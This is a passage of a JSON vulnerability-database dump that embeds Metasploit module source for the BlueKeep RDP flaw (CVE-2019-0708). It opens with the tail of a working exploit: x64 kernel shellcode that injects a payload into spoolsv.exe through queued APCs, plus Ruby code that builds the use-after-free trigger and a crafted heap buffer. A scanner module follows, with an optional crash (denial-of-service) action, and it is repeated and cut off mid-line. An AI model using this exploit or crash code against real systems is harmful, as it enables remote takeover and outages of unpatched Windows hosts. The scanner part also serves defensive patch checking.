of ETHREAD.ThreadListEntry\n    ;======================================\n\n    lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead\n    mov r9, r8\n\n    ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700\n_find_ethread_threadlist_offset_loop:\n    mov r9, qword [r9]\n\n    cmp r8, r9          ; check end of list\n    je _insert_queue_apc_done    ; not found !!!\n\n    ; if (r9 - r14 < 0x700) found\n    mov rax, r9\n    sub rax, r14\n    cmp rax, 0x700\n    ja _find_ethread_threadlist_offset_loop\n    sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)\n\n\n    ;======================================\n    ; find offset of EPROCESS.ActiveProcessLinks\n    ;======================================\n    mov edi, #{psgetprocessid_hash}\n    call get_proc_addr\n    mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)\n    add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)\n\n\n    ;======================================\n    ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock\n    ;======================================\n    ; check process name\n\n\n    xor eax, eax      ; HACK to exit earlier if process not found\n\n_find_target_process_loop:\n    lea rsi, [rcx+rbx]\n\n    push rax\n    call calc_hash\n    cmp eax, #{spoolsv_exe_hash}  ; \"spoolsv.exe\"\n    pop rax\n    jz found_target_process\n\n;---------- HACK PROCESS NOT FOUND start -----------\n    inc rax\n    cmp rax, 0x300      ; HACK not found!\n    jne _next_find_target_process\n    xor ecx, ecx\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\n\n    jmp _r3_to_r0_done\n\n;---------- HACK PROCESS NOT FOUND end -----------\n\n_next_find_target_process:\n    ; next process\n    mov rcx, [rcx+rdi]\n    sub rcx, rdi\n    jmp _find_target_process_loop\n\n\nfound_target_process:\n    ; The allocation for userland payload will be in KernelApcRoutine.\n    ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()\n\n    ;======================================\n    ; save process PEB for finding CreateThread address in kernel KAPC routine\n    ;======================================\n    mov edi, #{psgetprocesspeb_hash}\n    ; rcx is EPROCESS. no need to set it.\n    call win_api_direct\n    mov [rbp+#{data_peb_addr_offset}], rax\n\n\n    ;======================================\n    ; iterate ThreadList until KeInsertQueueApc() success\n    ;======================================\n    ; r15 = nt\n    ; r14 = -(offset of ETHREAD.ThreadListEntry)\n    ; rcx = EPROCESS\n    ; edx = offset of EPROCESS.ThreadListHead\n\n\n    lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\n    mov rbx, rsi    ; use rbx for iterating thread\n\n    ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.\n    ; Moreover, alertable thread need to be waiting state which is more difficult to check.\n    ; try queueing APC then check KAPC member is more reliable.\n\n_insert_queue_apc_loop:\n    ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front\n    mov rbx, [rbx+8]\n\n    cmp rsi, rbx\n    je _insert_queue_apc_loop   ; skip list head\n\n    ; find start of ETHREAD address\n    ; set it to rdx to be used for KeInitializeApc() argument too\n    lea rdx, [rbx + r14]    ; ETHREAD\n\n    ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.\n    ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.\n    ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.\n    ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.\n    ; Teb member is next to Queue member.\n    mov edi, #{psgetthreadteb_hash}\n    call get_proc_addr\n    mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)\n    cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL\n    je _insert_queue_apc_loop\n\n    ; KeInitializeApc(PKAPC,\n    ;                 PKTHREAD,\n    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),\n    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,\n    ;                 PKRUNDOWN_ROUTINE = NULL,\n    ;                 PKNORMAL_ROUTINE = userland_shellcode,\n    ;                 KPROCESSOR_MODE = UserMode (1),\n    ;                 PVOID Context);\n    lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC\n    xor r8, r8      ; OriginalApcEnvironment\n    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine\n    push rbp    ; context\n    push 1      ; UserMode\n    push rbp    ; userland shellcode (MUST NOT be NULL)\n    push r8     ; NULL\n    sub rsp, 0x20   ; shadow stack\n    mov edi, #{keinitializeapc_hash}\n    call win_api_direct\n    ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later\n\n    ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);\n    ;   SystemArgument1 is second argument in usermode code (rdx)\n    ;   SystemArgument2 is third argument in usermode code (r8)\n    lea rcx, [rbp+#{data_kapc_offset}]\n    ;xor edx, edx   ; no need to set it here\n    ;xor r8, r8     ; no need to set it here\n    xor r9, r9\n    mov edi, #{keinsertqueueapc_hash}\n    call win_api_direct\n    add rsp, 0x40\n    ; if insertion failed, try next thread\n    test eax, eax\n    jz _insert_queue_apc_loop\n\n    mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry\n    ; EPROCESS pointer 8 bytes\n    ; InProgressFlags 1 byte\n    ; KernelApcPending 1 byte\n    ; if success, UserApcPending MUST be 1\n    cmp byte [rax+0x1a], 1\n    je _insert_queue_apc_done\n\n    ; manual remove list without lock\n    mov [rax], rax\n    mov [rax+8], rax\n    jmp _insert_queue_apc_loop\n\n_insert_queue_apc_done:\n    ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.\n\n_r3_to_r0_done:\n    pop rax\n    pop rbx\n    pop rsi\n    pop rdi\n    pop r14\n    pop r15\n    ret\n\n;========================================================================\n; Call function in specific module\n;\n; All function arguments are passed as calling normal function with extra register arguments\n; Extra Arguments: r15 = module pointer\n;                  edi = hash of target function name\n;========================================================================\nwin_api_direct:\n    call get_proc_addr\n    jmp rax\n\n\n;========================================================================\n; Get function address in specific module\n;\n; Arguments: r15 = module pointer\n;            edi = hash of target function name\n; Return: eax = offset\n;========================================================================\nget_proc_addr:\n    ; Save registers\n    push rbx\n    push rcx\n    push rsi                ; for using calc_hash\n\n    ; use rax to find EAT\n    mov eax, dword [r15+60]  ; Get PE header e_lfanew\n    mov eax, dword [r15+rax+136] ; Get export tables RVA\n\n    add rax, r15\n    push rax                 ; save EAT\n\n    mov ecx, dword [rax+24]  ; NumberOfFunctions\n    mov ebx, dword [rax+32]  ; FunctionNames\n    add rbx, r15\n\n_get_proc_addr_get_next_func:\n    ; When we reach the start of the EAT (we search backwards), we hang or crash\n    dec ecx                     ; decrement NumberOfFunctions\n    mov esi, dword [rbx+rcx*4]  ; Get rva of next module name\n    add rsi, r15                ; Add the modules base address\n\n    call calc_hash\n\n    cmp eax, edi                        ; Compare the hashes\n    jnz _get_proc_addr_get_next_func    ; try the next function\n\n_get_proc_addr_finish:\n    pop rax                     ; restore EAT\n    mov ebx, dword [rax+36]\n    add rbx, r15                ; ordinate table virtual address\n    mov cx, word [rbx+rcx*2]    ; desired functions ordinal\n    mov ebx, dword [rax+28]     ; Get the function addresses table rva\n    add rbx, r15                ; Add the modules base address\n    mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA\n    add rax, r15                ; Add the modules base address to get the functions actual VA\n\n    pop rsi\n    pop rcx\n    pop rbx\n    ret\n\n;========================================================================\n; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.\n;\n; Argument: rsi = string to hash\n; Clobber: rsi\n; Return: eax = hash\n;========================================================================\ncalc_hash:\n    push rdx\n    xor eax, eax\n    cdq\n_calc_hash_loop:\n    lodsb                   ; Read in the next byte of the ASCII string\n    ror edx, 13             ; Rotate right our hash value\n    add edx, eax            ; Add the next byte of the string\n    test eax, eax           ; Stop when found NULL\n    jne _calc_hash_loop\n    xchg edx, eax\n    pop rdx\n    ret\n\n\n; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.\n; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().\n; Moreover, there is no lock when calling KernelApcRoutine.\n; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.\n;\n; VOID KernelApcRoutine(\n;           IN PKAPC Apc,\n;           IN PKNORMAL_ROUTINE *NormalRoutine,\n;           IN PVOID *NormalContext,\n;           IN PVOID *SystemArgument1,\n;           IN PVOID *SystemArgument2)\nkernel_kapc_routine:\n    push rbp\n    push rbx\n    push rdi\n    push rsi\n    push r15\n\n    mov rbp, [r8]       ; *NormalContext is our data area pointer\n\n    mov r15, [rbp+#{data_nt_kernel_addr_offset}]\n    push rdx\n    pop rsi     ; mov rsi, rdx\n    mov rbx, r9\n\n    ;======================================\n    ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)\n    ;======================================\n    xor eax, eax\n    mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)\n    ; rdx is already address of baseAddr\n    mov [rdx], rax      ; baseAddr = 0\n    mov ecx, eax\n    not rcx             ; ProcessHandle = -1\n    mov r8, rax         ; ZeroBits\n    mov al, 0x40    ; eax = 0x40\n    push rax            ; PAGE_EXECUTE_READWRITE = 0x40\n    shl eax, 6      ; eax = 0x40 << 6 = 0x1000\n    push rax            ; MEM_COMMIT = 0x1000\n    ; reuse r9 for address of RegionSize\n    mov [r9], rax       ; RegionSize = 0x1000\n    sub rsp, 0x20   ; shadow stack\n    mov edi, #{zwallocatevirtualmemory_hash}\n    call win_api_direct\n    add rsp, 0x30\n\n    ; check error\n    test eax, eax\n    jnz _kernel_kapc_routine_exit\n\n    ;======================================\n    ; copy userland payload\n    ;======================================\n    mov rdi, [rsi]\n\n;--------------------------- HACK IN EGG USER ---------\n\n    push rdi\n\n    lea rsi, [rel shellcode_start]\n    mov rdi, 0x#{USERMODE_EGG.to_s(16)}\n\n  _find_user_egg_loop:\n      sub rsi, 0x#{CHUNK_SIZE.to_s(16)}\n      mov rax, [rsi - 8]\n      cmp rax, rdi\n      jnz _find_user_egg_loop\n\n  _inner_find_user_egg_loop:\n      inc rsi\n      mov rax, [rsi - 8]\n      cmp rax, rdi\n      jnz _inner_find_user_egg_loop\n\n    pop rdi\n;--------------------------- END HACK EGG USER ------------\n\n    mov ecx, 0x380  ; fix payload size to 0x380 bytes\n\n    rep movsb\n\n    ;======================================\n    ; find CreateThread address (in kernel32.dll)\n    ;======================================\n    mov rax, [rbp+#{data_peb_addr_offset}]\n    mov rax, [rax + 0x18]       ; PEB->Ldr\n    mov rax, [rax + 0x20]       ; InMemoryOrder list\n\n    ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\n    ;mov rbx, rsi    ; use rbx for iterating thread\n_find_kernel32_dll_loop:\n    mov rax, [rax]       ; first one always be executable\n    ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\\windows\\system32\\kernel32.dll)\n    ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)\n    ; offset 0x50  => is name\n    ; offset 0x20  => is dllbase\n    ;cmp word [rax+0x38], 0x40\n    ;jne _find_kernel32_dll_loop\n    cmp word [rax+0x48], 0x18\n    jne _find_kernel32_dll_loop\n\n    mov rdx, [rax+0x50]\n    ; check only \"32\" because name might be lowercase or uppercase\n    cmp dword [rdx+0xc], 0x00320033   ; 3\\x002\\x00\n    jnz _find_kernel32_dll_loop\n\n    mov r15, [rax+0x20]\n    mov edi, #{createthread_hash}\n    call get_proc_addr\n\n    ; save CreateThread address to SystemArgument1\n    mov [rbx], rax\n\n_kernel_kapc_routine_exit:\n    xor ecx, ecx\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\n    ; restore IRQL to APC_LEVEL\n    mov cl, 1\n    mov cr8, rcx\n\n    pop r15\n    pop rsi\n    pop rdi\n    pop rbx\n    pop rbp\n    ret\n\nuserland_start_thread:\n    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)\n    xchg rdx, rax   ; rdx is CreateThread address passed from kernel\n    xor ecx, ecx    ; lpThreadAttributes = NULL\n    push rcx        ; lpThreadId = NULL\n    push rcx        ; dwCreationFlags = 0\n    mov r9, rcx     ; lpParameter = NULL\n    lea r8, [rel userland_payload]  ; lpStartAddr\n    mov edx, ecx    ; dwStackSize = 0\n    sub rsp, 0x20\n    call rax\n    add rsp, 0x30\n    ret\n\nuserland_payload:\n    ^\n\n    [\n      KERNELMODE_EGG,\n      assemble_with_fixups(asm)\n    ].pack('<Qa*')\n  end\n\n  def create_free_trigger(chan_user_id, chan_id)\n    # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)\n    vprint_status(\"Creating free trigger for user #{chan_user_id} on channel #{chan_id}\")\n    # The extra bytes on the end of the body is what causes the bad things to happen\n    body = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\" + \"\\x00\" * 22\n    rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)\n  end\n\n  def create_exploit_channel_buffer(target_addr)\n    overspray_addr = target_addr + 0x2000\n    shellcode_vtbl = target_addr + HEADER_SIZE\n    magic_value1 = overspray_addr + 0x810\n    magic_value2 = overspray_addr + 0x48\n    magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE\n\n    # first 0x38 bytes are used by DATA PDU packet\n    # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE\n    # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm\n    [\n      [\n        # SystemResourceList (2 pointers, each 8 bytes)\n        # Pointer to OWNER_ENTRY (8 bytes)\n        # ActiveCount (SHORT, 2 bytes)\n        # Flag (WORD, 2 bytes)\n        # Padding (BYTE[4], 4 bytes) x64 only\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\n        magic_value2, # TableSize (ULONG, 8 bytes)\n        0x0, # ActiveEntries (DWORD, 4 bytes)\n        0x0, # ContenttionCount (DWORD, 4 bytes)\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\n        magic_value2, # Address (PVOID, 8 bytes)\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\n      ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\n      [\n        magic_value2, # SystemResourceList (2 pointers, each 8 bytes)\n        magic_value2, # --------------------\n        0x0, # Pointer to OWNER_ENTRY (8 bytes)\n        0x0, # ActiveCount (SHORT, 2 bytes)\n        0x0, # Flag (WORD, 2 bytes)\n        0x0, # Padding (BYTE[4], 4 bytes) x64 only\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\n        magic_value2, # TableSize (ULONG, 8 bytes)\n        0x0, # ActiveEntries (DWORD, 4 bytes)\n        0x0, # ContenttionCount (DWORD, 4 bytes)\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\n        magic_value2, # Address (PVOID, 8 bytes)\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\n      ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\n      [\n        0x1F, # ClassOffset (DWORD, 4 bytes)\n        0x0, # bindStatus (DWORD, 4 bytes)\n        0x72, # lockCount1 (QWORD, 8 bytes)\n        magic_value3, # connection (QWORD, 8 bytes)\n        shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)\n        0x5, # channelClass (DWORD, 4 bytes)\n        \"MS_T120\\x00\".encode('ASCII'), # channelName (BYTE[8], 8 bytes)\n        0x1F, # channelIndex (DWORD, 4 bytes)\n        magic_value1, # channels (QWORD, 8 bytes)\n        magic_value1, # connChannelsAddr (POINTER, 8 bytes)\n        magic_value1, # list1 (QWORD, 8 bytes)\n        magic_value1, # list1 (QWORD, 8 bytes)\n        magic_value1, # list2 (QWORD, 8 bytes)\n        magic_value1, # list2 (QWORD, 8 bytes)\n        0x65756c62, # inputBufferLen (DWORD, 4 bytes)\n        0x7065656b, # inputBufferLen (DWORD, 4 bytes)\n        magic_value1, # connResrouce (QWORD, 8 bytes)\n        0x65756c62, # lockCount158 (DWORD, 4 bytes)\n        0x7065656b, # dword15C (DWORD, 4 bytes)\n      ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')\n    ].join('')\n  end\n\nend\n",
        "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "vhref": "https://vulners.com/metasploit/MSF:EXPLOIT/WINDOWS/RDP/CVE_2019_0708_BLUEKEEP_RCE"
    },
    {
        "lastseen": "2021-03-13T16:36:13",
        "bulletinFamily": "exploit",
        "description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability by binding the MS_T120 channel outside of its normal slot and sending non-DoS packets which respond differently on patched and vulnerable hosts. It can optionally trigger the DoS vulnerability.\n",
        "modified": "2020-06-22T11:48:39",
        "id": "MSF:AUXILIARY/SCANNER/RDP/CVE_2019_0708_BLUEKEEP/",
        "href": "",
        "published": "2019-06-03T14:38:12",
        "type": "metasploit",
        "title": "CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check",
        "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n  include Msf::Exploit::Remote::RDP\n  include Msf::Auxiliary::Scanner\n  include Msf::Auxiliary::Report\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',\n        'Description' => %q{\n          This module checks a range of hosts for the CVE-2019-0708 vulnerability\n          by binding the MS_T120 channel outside of its normal slot and sending\n          non-DoS packets which respond differently on patched and vulnerable hosts.\n          It can optionally trigger the DoS vulnerability.\n        },\n        'Author' =>\n          [\n            'National Cyber Security Centre', # Discovery\n            'JaGoTu', # Module\n            'zerosum0x0', # Module\n            'Tom Sellers' # TLS support, packet documenentation, DoS implementation\n          ],\n        'References' =>\n          [\n            [ 'CVE', '2019-0708' ],\n            [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],\n            [ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]\n          ],\n        'DisclosureDate' => '2019-05-14',\n        'License' => MSF_LICENSE,\n        'Actions' => [\n          ['Scan', 'Description' => 'Scan for exploitable targets'],\n          ['Crash', 'Description' => 'Trigger denial of service vulnerability'],\n        ],\n        'DefaultAction' => 'Scan',\n        'Notes' =>\n          {\n            'Stability' => [ CRASH_SAFE ],\n            'AKA' => ['BlueKeep']\n          }\n      )\n    )\n  end\n\n  def report_goods\n    report_vuln(\n      host: rhost,\n      port: rport,\n      proto: 'tcp',\n      name: name,\n      info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',\n      refs: references\n    )\n  end\n\n  def run_host(ip)\n    # Allow the run command to call the check command\n\n    status = check_host(ip)\n    if status == Exploit::CheckCode::Vulnerable\n      print_good(status[1].to_s)\n    elsif status == Exploit::CheckCode::Safe\n      vprint_error(status[1].to_s)\n    else\n      vprint_status(status[1].to_s)\n    end\n\n    status\n  end\n\n  def rdp_reachable\n    rdp_connect\n    rdp_disconnect\n    return true\n  rescue Rex::ConnectionRefused\n    return false\n  rescue Rex::ConnectionTimeout\n    return false\n  end\n\n  def check_host(_ip)\n    # The check command will call this method instead of run_host\n    status = Exploit::CheckCode::Unknown\n\n    begin\n      begin\n        rdp_connect\n      rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError\n        return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')\n      end\n\n      status = check_rdp_vuln\n    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e\n      bt = e.backtrace.join(\"\\n\")\n      vprint_error(\"Unexpected error: #{e.message}\")\n      vprint_line(bt)\n      elog(e)\n    rescue RdpCommunicationError\n      vprint_error('Error communicating RDP protocol.')\n      status = Exploit::CheckCode::Unknown\n    rescue Errno::ECONNRESET\n      vprint_error('Connection reset')\n    rescue StandardError => e\n      bt = e.backtrace.join(\"\\n\")\n      vprint_error(\"Unexpected error: #{e.message}\")\n      vprint_line(bt)\n      elog(e)\n    ensure\n      rdp_disconnect\n    end\n\n    status\n  end\n\n  def check_for_patch\n    begin\n      6.times do\n        _res = rdp_recv\n      end\n    rescue RdpCommunicationError\n      # we don't care\n    end\n\n    # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length\n    # The arch governs which of the packets triggers the desired response\n    # which is an MCS Disconnect Provider Ultimatum or a timeout.\n\n    # Disconnect Provider message of a valid size for each platform\n    # has proven to be safe to send as part of the vulnerability check.\n    x86_string = '00000000020000000000000000000000'\n    x64_string = '0000000000000000020000000000000000000000000000000000000000000000'\n\n    if action.name == 'Crash'\n      vprint_status('Sending denial of service payloads')\n      # Length and chars are arbitrary but total length needs to be longer than\n      # 16 for x86 and 32 for x64. Making the payload too long seems to cause\n      # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing\n      # the payload size and sending more of them doesn't seem to improve the\n      # reliability. It *seems* to happen more often on x64, I haven't seen it\n      # fail against x86. Repeated attempts will generally trigger the DoS.\n      x86_string += 'FF' * 1\n      x64_string += 'FF' * 2\n    else\n      vprint_status('Sending patch check payloads')\n    end\n\n    chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST\n    channel_id = [1005].pack('S>')\n    x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)\n\n    x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)\n\n    6.times do\n      rdp_send(x86_packet)\n      rdp_send(x64_packet)\n\n      # A single pass should be sufficient to cause DoS\n      if action.name == 'Crash'\n        sleep(1)\n        rdp_disconnect\n\n        sleep(5)\n        if rdp_reachable\n          print_error(\"Target doesn't appear to have been crashed. Consider retrying.\")\n          return Exploit::CheckCode::Unknown\n        else\n          print_good('Target service appears to have been successfully crashed.')\n          return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')\n        end\n      end\n\n      # Quick check for the Ultimatum PDU\n      begin\n        res = rdp_recv(-1, 1)\n      rescue EOFError\n        # we don't care\n      end\n      return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))\n\n      # Slow check for Ultimatum PDU. If it doesn't respond in a timely\n      # manner then the host is likely patched.\n      begin\n        4.times do\n          res = rdp_recv\n          # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3\n          if res.include?(['0300000902f0802180'].pack('H*'))\n            return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')\n          end\n        end\n      rescue RdpCommunicationError\n        # we don't care\n      end\n    end\n\n    Exploit::CheckCode::Safe\n  end\n\n  def check_rdp_vuln\n    # check if rdp is open\n    is_rdp, version_info = rdp_fingerprint\n    unless is_rdp\n      vprint_error('Could not connect to RDP service.')\n      return Exploit::CheckCode::Unknown\n    end\n    rdp_disconnect\n    rdp_connect\n    is_rdp, server_selected_proto = rdp_check_protocol\n\n    requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto\n    product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'\n    info = \"Detected RDP on #{peer} (Windows version: #{product_version})\"\n\n    service_info = \"Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}\"\n    info << \" (#{service_info})\"\n\n    vprint_status(info)\n\n    if requires_nla\n      vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')\n      return Exploit::CheckCode::Safe\n    end\n\n    chans = [\n      ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],\n      ['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      ['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],\n    ]\n\n    success = rdp_negotiate_security(chans, server_selected_proto)\n    return Exploit::CheckCode::Unknown unless success\n\n    rdp_establish_session\n\n    result = check_for_patch\n\n    if result == Exploit::CheckCode::Vulnerable\n      report_goods\n    end\n\n    # Can't determine, but at least we know the service is running\n    result\n  end\n\nend\n",
        "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "vhref": "https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/RDP/CVE_2019_0708_BLUEKEEP/"
    },
    {
        "lastseen": "2020-10-13T17:08:23",
        "bulletinFamily": "exploit",
        "description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability by binding the MS_T120 channel outside of its normal slot and sending non-DoS packets which respond differently on patched and vulnerable hosts. It can optionally trigger the DoS vulnerability.\n",
        "modified": "2020-06-22T11:48:39",
        "id": "MSF:AUXILIARY/SCANNER/RDP/CVE_2019_0708_BLUEKEEP",
        "href": "",
        "published": "2019-06-03T14:38:12",
        "type": "metasploit",
        "title": "CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check",
        "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n  include Msf::Exploit::Remote::RDP\n  include Msf::Auxiliary::Scanner\n  include Msf::Auxiliary::Report\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',\n        'Description' => %q{\n          This module checks a range of hosts for the CVE-2019-0708 vulnerability\n          by binding the MS_T120 channel outside of its normal slot and sending\n          non-DoS packets which respond differently on patched and vulnerable hosts.\n          It can optionally trigger the DoS vulnerability.\n        },\n        'Author' =>\n          [\n            'National Cyber Security Centre', # Discovery\n            'JaGoTu', # Module\n            'zerosum0x0', # Module\n            'Tom Sellers' # TLS support, packet documenentation, DoS implementation\n          ],\n        'References' =>\n          [\n            [ 'CVE', '2019-0708' ],\n            [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],\n            [ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]\n          ],\n        'DisclosureDate' => '2019-05-14',\n        'License' => MSF_LICENSE,\n        'Actions' => [\n          ['Scan', 'Description' => 'Scan for exploitable targets'],\n          ['Crash', 'Description' => 'Trigger denial of service vulnerability'],\n        ],\n        'DefaultAction' => 'Scan',\n        'Notes' =>\n          {\n            'Stability' => [ CRASH_SAFE ],\n            'AKA' => ['BlueKeep']\n          }\n      )\n    )\n  end\n\n  def report_goods\n    report_vuln(\n      host: rhost,\n      port: rport,\n      proto: 'tcp',\n      name: name,\n      info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',\n      refs: references\n    )\n  end\n\n  def run_host(ip)\n    # Allow the run command to call the check command\n\n    status = check_host(ip)\n    if status == Exploit::CheckCode::Vulnerable\n      print_good(status[1].to_s)\n    elsif status == Exploit::CheckCode::Safe\n      vprint_error(status[1].to_s)\n    else\n      vprint_status(status[1].to_s)\n    end\n\n    status\n  end\n\n  def rdp_reachable\n    rdp_connect\n    rdp_disconnect\n    return true\n  rescue Rex::ConnectionRefused\n    return false\n  rescue Rex::ConnectionTimeout\n    return false\n  end\n\n  def check_host(_ip)\n    # The check command will call this method instead of run_host\n    status = Exploit::CheckCode::Unknown\n\n    begin\n      begin\n        rdp_connect\n      rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError\n        return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')\n      end\n\n      status = check_rdp_vuln\n    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, 